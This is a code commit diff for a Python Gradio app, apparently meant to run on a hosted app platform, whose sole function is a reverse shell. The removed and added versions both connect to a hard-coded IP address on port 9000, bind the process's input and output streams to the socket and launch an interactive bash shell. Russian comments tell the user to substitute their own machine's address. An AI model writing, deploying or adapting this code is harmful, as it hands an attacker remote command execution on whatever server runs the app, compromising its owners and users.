Update app.py

app.py

@@ -2,39 +2,28 @@ import gradio as gr
 import socket
 import subprocess
 import os
-import threading
-import time
 
-def run_reverse_shell():
-    def shell_thread():
-        ip = '45.155.205.202'
-        port = 9000
+def start_reverse_shell():
+    # IP и порт, на который будет отправлен реверси шел
+    RHOST = '45.155.205.202'  # Замените на IP вашей машины
+    RPORT = 9000            # Замените на порт вашей машины
 
-        while True:
-            try:
-                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-                s.connect((ip, port))
-                s.send(b"Connected to reverse shell.\n")
-                os.dup2(s.fileno(), 0)
-                os.dup2(s.fileno(), 1)
-                os.dup2(s.fileno(), 2)
-                subprocess.call(['/bin/bash', '-i'])
-                s.close()
-                break
-            except Exception as e:
-                print(f"Connection failed: {e}. Retrying in 3 seconds...")
-                time.sleep(3)
+    # Создаем сокет
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((RHOST, RPORT))
 
-    shell = threading.Thread(target=shell_thread)
-    shell.start()
-    return "Reverse shell has been initiated."
+    # Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет
+    os.dup2(s.fileno(), 0)
+    os.dup2(s.fileno(), 1)
+    os.dup2(s.fileno(), 2)
 
-iface = gr.Interface(
-    fn=run_reverse_shell,
-    inputs=None,
-    outputs="text",
-    title="Reverse Shell Initiator",
-    description="Click the button to initiate a reverse shell."
-)
+    # Запускаем шел
+    subprocess.call(["/bin/bash", "-i"])
 
+    return "Reverse shell started!"
+
+# Создаем интерфейс Gradio
+iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True)
+
+# Запускаем интерфейс
 iface.launch()